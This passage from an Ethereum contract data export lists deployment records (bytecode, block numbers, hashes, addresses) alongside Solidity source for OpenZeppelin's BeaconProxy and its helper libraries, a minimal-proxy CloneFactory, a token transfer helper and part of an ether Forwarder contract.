119f1565b60010192915050565b6000826119ec576119ec611a07565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461107d57600080fdfea2646970667358221220c6a5a418fd4d0efc335d0a7d4231b59612d76c43ca56c8a0e3c8ffb40c678cdc64736f6c63430008040033
1
19,501,431
01fdefaa29b457629015db67feb6cf4b1b55beda13f11cd3885c720fca42169e
1315e4f397f9330c29441b8b22db702703db16f60dc92bcc6a6c08fc714efa65
ffdccef216be52c76b6f098a1a284b75d2389bbf
91e677b07f7af907ec9a428aafa9fc14a0d3a338
ad7bbf18d33b8ec4d8099735db5cd34e0fb280cd
608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005a2a4f2f3c18f09179b6703e63d9edd16590907300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000
60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822Proxiable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; // import "../beacon/IBeacon.sol"; // import "../../interfaces/draft-IERC1822.sol"; // import "../../utils/Address.sol"; // import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol) // This file was procedurally generated from scripts/generate/templates/StorageSlot.js. pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ```solidity * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._ * _Available since v4.9 for `string`, `bytes`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` with member `value` located at `slot`. */ function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` representation of the string storage pointer `store`. */ function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } /** * @dev Returns an `BytesSlot` with member `value` located at `slot`. */ function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`. */ function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } } // OpenZeppelin Contracts (last updated v4.7.0) (proxy/beacon/BeaconProxy.sol) pragma solidity ^0.8.0; // import "./IBeacon.sol"; // import "../Proxy.sol"; // import "../ERC1967/ERC1967Upgrade.sol"; /** * @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) payable { _upgradeBeaconToAndCall(beacon, data, false); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address) { return _getBeacon(); } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_getBeacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { _upgradeBeaconToAndCall(beacon, data, false); } }
1
19,501,433
3c0d8ce97f9822731d93ec03ebab50dcdaac79c797d7fff78f45549b4e54adee
99b751e9ea33061d449f4cda818f178060883d3588880cd17a08b50bfa3393de
ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a
46950ba8946d7be4594399bcf203fb53e1fd7d37
5fa5a8cad105acfdaeb71b11126ba2e9a6ec7536
3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
1
19,501,433
3c0d8ce97f9822731d93ec03ebab50dcdaac79c797d7fff78f45549b4e54adee
cdfb09947fac0d39fad59e32432dbac00dfa22e6591171479c670d531a3f4b07
099b1d292689be58f498f127f4e08fe4f0969bce
ffa397285ce46fb78c588a9e993286aac68c37cd
63978e62e7336d58962d456c81b956cdcbefed51
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * 